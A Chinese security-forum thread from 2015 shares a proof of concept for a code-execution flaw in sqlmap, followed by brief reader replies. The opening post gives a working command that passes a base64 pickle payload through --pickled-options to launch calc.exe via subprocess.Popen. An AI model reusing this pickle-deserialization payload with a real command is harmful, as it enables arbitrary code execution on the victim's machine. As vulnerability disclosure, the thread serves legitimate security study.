搜索
红客联盟 - 由08安全团队运营»社区首页 › 技术攻防 › 漏洞情报 › sqlmap代码执行漏洞
查看: 62498|回复: 76

sqlmap代码执行漏洞

  [复制链接]
90_
发表于 2015-12-9 21:52:29 | 显示全部楼层 |阅读模式
这个漏洞今天在微博上传的比较火。。。。。
下面给出相关POC，
游客，如果您要查看本帖隐藏内容请回复


base64解码
[Python] 纯文本查看 复制代码
sqlmap.py -u "http://www.ihonker.org/s?wd=sqli" --pickled-options "Y3N1YnByb2Nlc3MKUG9wZW4KcDEKKFMnY2FsYy5leGUnCnAyCnRwMwpScDQKLg=="


视频：
sqlmap代码执行
回复

使用道具 举报

流浪男
发表于 2015-12-9 22:06:36 | 显示全部楼层
6666666666666加油
回复 支持 反对

使用道具 举报

No0d1es
发表于 2015-12-9 22:08:35 | 显示全部楼层
看一看瞧一瞧
回复 支持 反对

使用道具 举报

wuyan
发表于 2015-12-9 22:10:07 | 显示全部楼层
这个好叼啊
回复 支持 反对

使用道具 举报

XSS
发表于 2015-12-9 22:12:17 | 显示全部楼层
我去，sqlmap也躺了
回复 支持 反对

使用道具 举报

雨僧
发表于 2015-12-9 22:13:27 | 显示全部楼层
90大大一定要顶
回复 支持 反对

使用道具 举报

zymj
发表于 2015-12-9 22:19:07 | 显示全部楼层
还在的，看一下
回复 支持 反对

使用道具 举报

lincx
发表于 2015-12-9 22:24:15 | 显示全部楼层
最新的，来看看
回复 支持 反对

使用道具 举报

evilhat
发表于 2015-12-9 22:25:47 | 显示全部楼层
沃日，6到家，sqlmapapi的话有用吗？
回复 支持 反对

使用道具 举报

王珂
发表于 2015-12-9 22:28:38 | 显示全部楼层
看看是啥
回复 支持 反对

使用道具 举报

下一页 »
12345678下一页
返回列表 发帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群：112851260

官方邮箱：security#ihonker.org（#改成@）

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-3-7 04:26 , Processed in 0.031109 second(s), 12 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部